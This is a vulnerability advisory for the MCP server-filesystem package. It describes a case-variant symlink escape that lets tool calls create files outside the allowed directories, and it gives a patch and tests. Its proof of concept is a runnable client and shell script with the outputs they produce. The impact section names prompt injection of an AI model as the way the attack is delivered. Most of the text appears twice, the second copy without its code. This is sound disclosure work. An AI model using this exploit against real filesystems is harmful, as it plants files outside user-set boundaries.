Summary
On a case-insensitive file system, server-filesystem 2026.8.31, 1.0.0 and 2.0.0 create files and directories outside the allowed directories through create_directory, write_file and the destination of move_file, if an allowed directory contains a symlink that points out and the request spells the symlink's name with different letter case. resolveUnicodeEquivalentPath() compares path components with fs.readdir() entries as strings, so LINK does not match link; it returns the rest of the path without a realpath(), and the OS follows the symlink when it creates the file.
macOS (APFS) and Windows (NTFS) are case-insensitive by default. I reproduced this on Linux with a case-folded tmpfs and have not run it on macOS or Windows. Only new files and directories can be created, existing files outside stay protected. It is a regression: 2026.7.10 refuses these requests.
Details
validatePath() first calls fs.realpath() on the requested path. For a path that does not exist yet this fails with ENOENT, and validatePath() hands over to resolveUnicodeEquivalentPath() (lib.ts#L256-L258). That function starts at the real path of the allowed directory and walks the requested path one component at a time (lib.ts#L157-L191):
const entries = (await fs.readdir(currentPath)) ?? [];
const exactMatch = entries.find((entry) => entry === requestedPart);
const equivalentMatches = exactMatch
? [exactMatch]
: entries.filter(
(entry) => unicodeMatchKey(entry) === unicodeMatchKey(requestedPart),
);
...
if (equivalentMatches.length === 0) {
// Nothing below this point exists yet, so there are no symlinks left to
// resolve. ...
return path.join(currentPath, ...relativeParts.slice(index));
}
(lib.ts#L159-L176.) For an entry that matches, the loop runs fs.realpath() and checks the result against the allowed directories. The matching is a string comparison: unicodeMatchKey (lib.ts#L100-L102) normalizes to NFC and maps Unicode spaces to U+0020 but keeps letter case. So with a symlink link -> /outside in the allowed directory, a request for LINK/a finds no entry called LINK, the function returns <allowed>/LINK/a unchecked, and on a case-insensitive file system mkdir or open resolves LINK through link.
The case-varied component does not have to be the symlink. In SUB/ln2/x, with sub/ln2 -> /outside, the walk stops at SUB and never looks at ln2, even though ln2 is spelled exactly. So a fix that checks only the first missing component is not enough.
History: before 2026.8.31 validatePath() ran fs.realpath() on the parent directory, so the OS did the case folding and LINK/a was refused. PR #4638 replaced that with the readdir walk; there, an unmatched component that was not the last one still raised "Parent directory does not exist". PR #4631 (issue #4629), merged on top of it, changed that branch to return the unchecked rest of the path so that create_directory can create nested directories. Both first shipped in 2026.8.31. The existing symlink test (refuses a new path under a symlinked directory that leaves (#4629)) uses the exact spelling only. The class is the one in GHSA-q66q-fx2p-7w4m (CVE-2025-53109): reaching files outside the allowed directories through symlinks inside them.
Suggested fix: when no entry matches by spelling, pass the requested name to fs.realpath() as it is, so the OS applies whatever case folding or aliasing the file system has, and check containment at every step. Only a name that neither resolves nor exists under lstat is treated as the start of the missing tail. A dangling symlink still fails like it does today. I have this as a patch with tests (the lib.ts change is below, the tests are in server-paths.test.ts) and can open a PR against the private fork:
diff --git a/src/filesystem/lib.ts b/src/filesystem/lib.ts
index abb6b09..0a52573 100644
--- a/src/filesystem/lib.ts
+++ b/src/filesystem/lib.ts
@@ -133,6 +133,18 @@ function respellAllowedDirectoryPrefix(
return absolutePath;
}
+// Whether a directory entry of this name exists, without following it: a
+// dangling symlink does, a name nothing was created under does not.
+async function entryExists(entryPath: string): Promise<boolean> {
+ try {
+ await fs.lstat(entryPath);
+ return true;
+ } catch (error) {
+ if ((error as NodeJS.ErrnoException).code === "ENOENT") return false;
+ throw error;
+ }
+}
+
async function resolveUnicodeEquivalentPath(
absolutePath: string,
allowedDirectories: readonly string[],
@@ -168,16 +180,33 @@ async function resolveUnicodeEquivalentPath(
throw new Error(`Ambiguous Unicode path component: ${requestedPart}`);
}
- if (equivalentMatches.length === 0) {
- // Nothing below this point exists yet, so there are no symlinks left to
- // resolve. currentPath is already realpath'd and inside an allowed
- // directory; append the missing tail so create_directory can mkdir -p it.
- return path.join(currentPath, ...relativeParts.slice(index));
- }
-
- currentPath = await fs.realpath(
- path.join(currentPath, equivalentMatches[0]),
+ // An entry whose name matches by spelling is looked up by that name. When
+ // none does, the requested name is still handed to the OS as it is: on a
+ // case-insensitive file system (macOS APFS/HFS+ and Windows NTFS by
+ // default) it can name an existing entry spelled with other letter case,
+ // and that entry can be a symlink that leaves the allowed directories.
+ const candidate = path.join(
+ currentPath,
+ equivalentMatches[0] ?? requestedPart,
);
+ try {
+ currentPath = await fs.realpath(candidate);
+ } catch (error) {
+ if (
+ equivalentMatches.length === 0 &&
+ (error as NodeJS.ErrnoException).code === "ENOENT" &&
+ !(await entryExists(candidate))
+ ) {
+ // Nothing below this point exists yet, so there are no symlinks left
+ // to resolve. currentPath is already realpath'd and inside an allowed
+ // directory; append the missing tail so create_directory can mkdir -p
+ // it.
+ return path.join(currentPath, ...relativeParts.slice(index));
+ }
+ // A dangling symlink also fails realpath with ENOENT; it is reported
+ // like any other failure rather than treated as a missing name.
+ throw error;
+ }
if (
!isPathWithinAllowedDirectories(
normalizePath(currentPath),
Three of the four new tests in server-paths.test.ts skip themselves on a case-sensitive file system; the fourth checks that there a differently-cased name is just a new directory. I have not run the patch on macOS or Windows; it relies on fs.realpath() following a differently-cased symlink name there, as it does on the casefolded mount.
One related hardening note, not a separate claim: the first step of the same function, fs.realpath(allowedDirectory) (lib.ts#L151), is not checked against the allow-list. If an allowed directory itself is swapped for a symlink after the server started, new paths below it land in the symlink's target; that needs write access to the directory's parent, so I rate it low. A containment check on currentPath right after that line closes it (I tried it on Linux, the full suite passes). The patch above does not include it.
Proof of concept
Server: @modelcontextprotocol/server-filesystem 2.0.0 from npm (also run: 2026.8.31, 1.0.0, and a build of 51b6382 = current main). Configuration: one allowed directory as the only command-line argument, no Roots. Client: a small hand-written stdio JSON-RPC client (below), protocol version 2025-06-18, no capabilities. Host: Linux 7.2.11 (Fedora), Node v22.22.2 (2.0.0 declares engines.node >=24; it ran on 22 regardless).
A case-insensitive file system is needed. Without root, a case-folded tmpfs in a user namespace does it: unshare -rm, mount -t tmpfs -o casefold, chattr +F on a directory. This needs unprivileged user namespaces, chattr, and a kernel with casefold support in tmpfs (I believe 6.13 or newer; I used 7.2.11). The allowed directory contains link -> outside (what a cloned repo could carry), sub/ln2 -> outside and a file note.txt.
mkdir mcp02-poc && cd mcp02-poc
cat > client.mjs <<'EOF'
// usage: node client.mjs <allowed-dir> <server command and args...>
// Minimal MCP stdio client: newline-delimited JSON-RPC, no dependencies.
import { spawn } from "node:child_process";
import path from "node:path";
const [allowed, cmd, ...cmdArgs] = process.argv.slice(2);
const server = spawn(cmd, [...cmdArgs, allowed], {
stdio: ["pipe", "pipe", "inherit"],
});
const pending = new Map();
let buf = "";
server.stdout.setEncoding("utf8");
server.stdout.on("data", (chunk) => {
buf += chunk;
let nl;
while ((nl = buf.indexOf("\n")) !== -1) {
const msg = JSON.parse(buf.slice(0, nl));
buf = buf.slice(nl + 1);
if (msg.id !== undefined) pending.get(msg.id)?.(msg);
}
});
let nextId = 1;
const rpc = (method, params) =>
new Promise((resolve, reject) => {
const id = nextId++;
const timer = setTimeout(() => reject(new Error(`timeout: ${method}`)), 20000);
pending.set(id, (msg) => {
clearTimeout(timer);
resolve(msg);
});
server.stdin.write(JSON.stringify({ jsonrpc: "2.0", id, method, params }) + "\n");
});
await rpc("initialize", {
protocolVersion: "2025-06-18",
capabilities: {},
clientInfo: { name: "poc-client", version: "0.0.0" },
});
server.stdin.write(
JSON.stringify({ jsonrpc: "2.0", method: "notifications/initialized" }) + "\n",
);
async function tool(label, name, args) {
const res = await rpc("tools/call", { name, arguments: args });
const text = res.error
? `JSON-RPC error: ${res.error.message}`
: res.result.content.map((c) => c.text).join("\n");
console.log(`${label.padEnd(34)} -> ${res.result?.isError ? "ERROR: " : ""}${text}`);
}
const p = (...parts) => path.join(allowed, ...parts);
await tool("create_directory link/a (control)", "create_directory", { path: p("link", "a") });
await tool("create_directory LINK/a", "create_directory", { path: p("LINK", "a") });
await tool("write_file Link/pwned.txt", "write_file", {
path: p("Link", "pwned.txt"),
content: "written outside the allowed directory\n",
});
await tool("write_file SUB/ln2/nested.txt", "write_file", {
path: p("SUB", "ln2", "nested.txt"),
content: "written outside the allowed directory\n",
});
await tool("move_file note.txt -> lInK/moved.txt", "move_file", {
source: p("note.txt"),
destination: p("lInK", "moved.txt"),
});
server.kill();
EOF
cat > run.sh <<'EOF'
# usage: unshare -rm sh run.sh <server command and args...>
# needs a kernel with casefold support in tmpfs, node, chattr
set -e
HERE=$(cd "$(dirname "$0")" && pwd)
CF=$(mktemp -d) # becomes the case-insensitive mount
trap 'cd /; umount "$CF"; rmdir "$CF"' EXIT
mount -t tmpfs -o casefold tmpfs "$CF"
mkdir "$CF/work" && chattr +F "$CF/work" # +F: this directory and its children fold case
ALLOWED="$CF/work/allowed" # the only directory the server is given
OUTSIDE="$CF/work/outside" # a sibling, not an allowed directory
mkdir -p "$ALLOWED/sub" "$OUTSIDE"
echo "top secret" > "$OUTSIDE/secret.txt"
echo "a file inside the allowed directory" > "$ALLOWED/note.txt"
ln -s "$OUTSIDE" "$ALLOWED/link" # what a cloned repo could carry
ln -s "$OUTSIDE" "$ALLOWED/sub/ln2"
echo "# lstat of the case variant LINK:"
stat -c '%N' "$ALLOWED/LINK"
echo
node "$HERE/client.mjs" "$ALLOWED" "$@"
echo
echo "# directory outside the allowed directory:"
ls -R "$OUTSIDE"
EOF
unshare -rm sh run.sh npx -y @modelcontextprotocol/[email protected]
For a source checkout, build it first (npm ci --ignore-scripts && (cd src/filesystem && npm run build)) and replace the last line with unshare -rm sh run.sh node /path/to/servers/src/filesystem/dist/index.js.
Expected: the four case-variant calls are refused like the control call (link/a). Actual on 2.0.0, 2026.8.31, 1.0.0 and 51b6382 (output of the 51b6382 build; server stderr lines left out, temp names shortened):
# lstat of the case variant LINK:
'/tmp/tmp.XXXXXXXXXX/work/allowed/LINK' -> '/tmp/tmp.XXXXXXXXXX/work/outside'
create_directory link/a (control) -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed
create_directory LINK/a -> Successfully created directory /tmp/tmp.XXXXXXXXXX/work/allowed/LINK/a
write_file Link/pwned.txt -> Successfully wrote to /tmp/tmp.XXXXXXXXXX/work/allowed/Link/pwned.txt
write_file SUB/ln2/nested.txt -> Successfully wrote to /tmp/tmp.XXXXXXXXXX/work/allowed/SUB/ln2/nested.txt
move_file note.txt -> lInK/moved.txt -> Successfully moved /tmp/tmp.XXXXXXXXXX/work/allowed/note.txt to /tmp/tmp.XXXXXXXXXX/work/allowed/lInK/moved.txt
# directory outside the allowed directory:
/tmp/tmp.XXXXXXXXXX/work/outside:
a
moved.txt
nested.txt
pwned.txt
secret.txt
/tmp/tmp.XXXXXXXXXX/work/outside/a:
The files and directories were created in outside, and note.txt was moved out of the allowed directory. LINK, Link, lInK and SUB are all just the OS accepting another spelling of an existing name. With the patch applied to 51b6382 the same script prints:
# lstat of the case variant LINK:
'/tmp/tmp.XXXXXXXXXX/work/allowed/LINK' -> '/tmp/tmp.XXXXXXXXXX/work/outside'
create_directory link/a (control) -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed
create_directory LINK/a -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed
write_file Link/pwned.txt -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed
write_file SUB/ln2/nested.txt -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed
move_file note.txt -> lInK/moved.txt -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed
# directory outside the allowed directory:
/tmp/tmp.XXXXXXXXXX/work/outside:
secret.txt
On 2026.7.10 the same script refuses all five calls, control included (with the message Parent directory does not exist: ..., because the old check swallows its own "outside allowed directories" error), and outside only has secret.txt.
Reading, overwriting or editing an existing file through the case variant is refused at 51b6382 (v2.0.0 is the same commit): read_text_file, write_file and edit_file on LINK/secret.txt, and list_directory on LINK, all return "Access denied - symlink target outside allowed directories", because fs.realpath() of an existing path resolves the symlink.
The patch also adds regression tests to src/filesystem/__tests__/server-paths.test.ts. With TMPDIR pointing into a chattr +F directory on the same kind of mount, three of them fail at 51b6382 (the two escape tests, and the dangling-symlink test on its error message only) and all pass with the patch. On a case-sensitive file system the three are skipped.
Impact
Anyone running server-filesystem 2026.8.31, 1.0.0 or 2.0.0 on a case-insensitive file system, which is the default on macOS (APFS) and Windows (NTFS), or on a case-folded volume elsewhere. No special configuration is needed beyond an allowed directory that contains a symlink pointing outside it.
The server cannot create symlinks, so the symlink has to come from somewhere else: a git repository or archive the user placed in an allowed directory can carry one (git checks symlinks out as symlinks on macOS and Linux). The attacker also has to get a tool call with the differently-cased path made, for example by prompt injection in a file the model reads, and has to know the victim's absolute path for the directory the symlink points to. On Windows, git does not create symlinks by default and creating one needs extra privileges, so macOS is the realistic target. I tested neither.
What the attacker gets is new files and directories, with chosen names and content, under the symlink's target outside the allowed directories, plus moving a file out of the allowed directory with move_file. Whether that matters depends on the target (a directory that a shell, launch agent or autostart mechanism reads from, for instance). Existing files outside cannot be read or overwritten this way.
Upgrading from a date-versioned release
@modelcontextprotocol/server-filesystem moved from date versions (2025.x, 2026.x) to semantic versions in 1.0.0. Package managers rank 2.0.1 below every 2025.x and 2026.x version, so they will not offer it as an upgrade and Dependabot will not open one. If you are on a date version, install the fix explicitly: npm install @modelcontextprotocol/[email protected] (or @latest).
Summary
On a case-insensitive file system,
server-filesystem2026.8.31, 1.0.0 and 2.0.0 create files and directories outside the allowed directories throughcreate_directory,write_fileand the destination ofmove_file, if an allowed directory contains a symlink that points out and the request spells the symlink's name with different letter case.resolveUnicodeEquivalentPath()compares path components withfs.readdir()entries as strings, soLINKdoes not matchlink; it returns the rest of the path without arealpath(), and the OS follows the symlink when it creates the file.macOS (APFS) and Windows (NTFS) are case-insensitive by default. I reproduced this on Linux with a case-folded tmpfs and have not run it on macOS or Windows. Only new files and directories can be created, existing files outside stay protected. It is a regression: 2026.7.10 refuses these requests.
Details
validatePath()first callsfs.realpath()on the requested path. For a path that does not exist yet this fails withENOENT, andvalidatePath()hands over toresolveUnicodeEquivalentPath()(lib.ts#L256-L258). That function starts at the real path of the allowed directory and walks the requested path one component at a time (lib.ts#L157-L191):(lib.ts#L159-L176.) For an entry that matches, the loop runs
fs.realpath()and checks the result against the allowed directories. The matching is a string comparison:unicodeMatchKey(lib.ts#L100-L102) normalizes to NFC and maps Unicode spaces to U+0020 but keeps letter case. So with a symlinklink -> /outsidein the allowed directory, a request forLINK/afinds no entry calledLINK, the function returns<allowed>/LINK/aunchecked, and on a case-insensitive file systemmkdiroropenresolvesLINKthroughlink.The case-varied component does not have to be the symlink. In
SUB/ln2/x, withsub/ln2 -> /outside, the walk stops atSUBand never looks atln2, even thoughln2is spelled exactly. So a fix that checks only the first missing component is not enough.History: before 2026.8.31
validatePath()ranfs.realpath()on the parent directory, so the OS did the case folding andLINK/awas refused. PR #4638 replaced that with thereaddirwalk; there, an unmatched component that was not the last one still raised "Parent directory does not exist". PR #4631 (issue #4629), merged on top of it, changed that branch to return the unchecked rest of the path so thatcreate_directorycan create nested directories. Both first shipped in 2026.8.31. The existing symlink test (refuses a new path under a symlinked directory that leaves (#4629)) uses the exact spelling only. The class is the one in GHSA-q66q-fx2p-7w4m (CVE-2025-53109): reaching files outside the allowed directories through symlinks inside them.Suggested fix: when no entry matches by spelling, pass the requested name to
fs.realpath()as it is, so the OS applies whatever case folding or aliasing the file system has, and check containment at every step. Only a name that neither resolves nor exists underlstatis treated as the start of the missing tail. A dangling symlink still fails like it does today. I have this as a patch with tests (thelib.tschange is below, the tests are inserver-paths.test.ts) and can open a PR against the private fork:Three of the four new tests in
server-paths.test.tsskip themselves on a case-sensitive file system; the fourth checks that there a differently-cased name is just a new directory. I have not run the patch on macOS or Windows; it relies onfs.realpath()following a differently-cased symlink name there, as it does on the casefolded mount.One related hardening note, not a separate claim: the first step of the same function,
fs.realpath(allowedDirectory)(lib.ts#L151), is not checked against the allow-list. If an allowed directory itself is swapped for a symlink after the server started, new paths below it land in the symlink's target; that needs write access to the directory's parent, so I rate it low. A containment check oncurrentPathright after that line closes it (I tried it on Linux, the full suite passes). The patch above does not include it.Proof of concept
Server:
@modelcontextprotocol/server-filesystem2.0.0 from npm (also run: 2026.8.31, 1.0.0, and a build of51b6382= currentmain). Configuration: one allowed directory as the only command-line argument, no Roots. Client: a small hand-written stdio JSON-RPC client (below), protocol version2025-06-18, no capabilities. Host: Linux 7.2.11 (Fedora), Node v22.22.2 (2.0.0 declaresengines.node >=24; it ran on 22 regardless).A case-insensitive file system is needed. Without root, a case-folded tmpfs in a user namespace does it:
unshare -rm,mount -t tmpfs -o casefold,chattr +Fon a directory. This needs unprivileged user namespaces,chattr, and a kernel with casefold support in tmpfs (I believe 6.13 or newer; I used 7.2.11). The allowed directory containslink -> outside(what a cloned repo could carry),sub/ln2 -> outsideand a filenote.txt.For a source checkout, build it first (
npm ci --ignore-scripts && (cd src/filesystem && npm run build)) and replace the last line withunshare -rm sh run.sh node /path/to/servers/src/filesystem/dist/index.js.Expected: the four case-variant calls are refused like the control call (
link/a). Actual on 2.0.0, 2026.8.31, 1.0.0 and51b6382(output of the51b6382build; server stderr lines left out, temp names shortened):The files and directories were created in
outside, andnote.txtwas moved out of the allowed directory.LINK,Link,lInKandSUBare all just the OS accepting another spelling of an existing name. With the patch applied to51b6382the same script prints:On 2026.7.10 the same script refuses all five calls, control included (with the message
Parent directory does not exist: ..., because the old check swallows its own "outside allowed directories" error), andoutsideonly hassecret.txt.Reading, overwriting or editing an existing file through the case variant is refused at
51b6382(v2.0.0 is the same commit):read_text_file,write_fileandedit_fileonLINK/secret.txt, andlist_directoryonLINK, all return "Access denied - symlink target outside allowed directories", becausefs.realpath()of an existing path resolves the symlink.The patch also adds regression tests to
src/filesystem/__tests__/server-paths.test.ts. WithTMPDIRpointing into achattr +Fdirectory on the same kind of mount, three of them fail at51b6382(the two escape tests, and the dangling-symlink test on its error message only) and all pass with the patch. On a case-sensitive file system the three are skipped.Impact
Anyone running
server-filesystem2026.8.31, 1.0.0 or 2.0.0 on a case-insensitive file system, which is the default on macOS (APFS) and Windows (NTFS), or on a case-folded volume elsewhere. No special configuration is needed beyond an allowed directory that contains a symlink pointing outside it.The server cannot create symlinks, so the symlink has to come from somewhere else: a git repository or archive the user placed in an allowed directory can carry one (git checks symlinks out as symlinks on macOS and Linux). The attacker also has to get a tool call with the differently-cased path made, for example by prompt injection in a file the model reads, and has to know the victim's absolute path for the directory the symlink points to. On Windows, git does not create symlinks by default and creating one needs extra privileges, so macOS is the realistic target. I tested neither.
What the attacker gets is new files and directories, with chosen names and content, under the symlink's target outside the allowed directories, plus moving a file out of the allowed directory with
move_file. Whether that matters depends on the target (a directory that a shell, launch agent or autostart mechanism reads from, for instance). Existing files outside cannot be read or overwritten this way.Upgrading from a date-versioned release
@modelcontextprotocol/server-filesystemmoved from date versions (2025.x, 2026.x) to semantic versions in 1.0.0. Package managers rank 2.0.1 below every 2025.x and 2026.x version, so they will not offer it as an upgrade and Dependabot will not open one. If you are on a date version, install the fix explicitly:npm install @modelcontextprotocol/[email protected](or@latest).